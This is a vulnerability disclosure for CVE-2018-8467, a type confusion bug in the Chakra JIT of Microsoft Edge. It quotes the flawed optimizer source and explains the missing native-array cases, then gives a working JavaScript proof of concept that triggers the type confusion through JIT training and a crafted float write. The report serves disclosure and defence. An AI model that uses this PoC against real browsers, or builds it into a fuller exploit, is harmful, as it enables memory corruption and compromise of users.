`Microsoft Edge: Chakra: JIT: Type confusion bug   
  
CVE-2018-8467  
  
  
The switch statement only handles Js::TypeIds_Array but not Js::TypeIds_NativeIntArray and Js::TypeIds_NativeFloatArray. So for example, a native float array can be considered as of type ObjectType::Object under certain circumstances where "objValueType.IsLikelyArrayOrObjectWithArray()" is not fulfilled. As it doesn't install any array type conversion check for an definite object, handling a native array as an definite object can lead to type confusion.  
  
void  
GlobOpt::UpdateObjPtrValueType(IR::Opnd * opnd, IR::Instr * instr)  
{  
...  
if (newValueType == ValueType::Uninitialized)  
{  
switch (typeId)  
{  
default:  
if (typeId > Js::TypeIds_LastStaticType)  
{  
Assert(typeId != Js::TypeIds_Proxy);  
if (objValueType.IsLikelyArrayOrObjectWithArray())  
{  
// If we have likely object with array before, we can't make it definite object with array  
// since we have only proved that it is an object.  
// Keep the likely array or object with array.  
}  
else  
{  
newValueType = ValueType::GetObject(ObjectType::Object);  
}  
}  
break;  
case Js::TypeIds_Array:  
// Because array can change type id, we can only make it definite if we are doing array check hoist  
// so that implicit call will be installed between the array checks.  
if (!DoArrayCheckHoist() ||  
(currentBlock->loop  
? !this->ImplicitCallFlagsAllowOpts(currentBlock->loop)  
: !this->ImplicitCallFlagsAllowOpts(this->func)))  
{  
break;  
}  
if (objValueType.IsLikelyArrayOrObjectWithArray())  
{  
// If we have likely no missing values before, keep the likely, because, we haven't proven that  
// the array really has no missing values  
if (!objValueType.HasNoMissingValues())  
{  
newValueType = ValueType::GetObject(ObjectType::Array).SetArrayTypeId(typeId);  
}  
}  
else  
{  
newValueType = ValueType::GetObject(ObjectType::Array).SetArrayTypeId(typeId);  
}  
break;  
}  
}  
...  
}  
  
PoC:  
function opt(arr, arr2) {  
arr[0] = 1.1;  
  
arr2.method(arr2[0] = {});  
  
arr[0] = 2.3023e-320;  
}  
  
Object.prototype.method = () => {};  
  
let arr = [1.1, 2.2];  
for (let i = 0; i < 100; i++) {  
opt(arr, 1); // Feeding an integer to make the value type LikelyCanBeTaggedValue_Int_PrimitiveOrObject  
opt(arr, arr.concat());  
}  
  
setTimeout(() => {  
opt(arr, arr);  
alert(arr);  
}, 100); // Waiting for the JIT server to finish its job.  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.
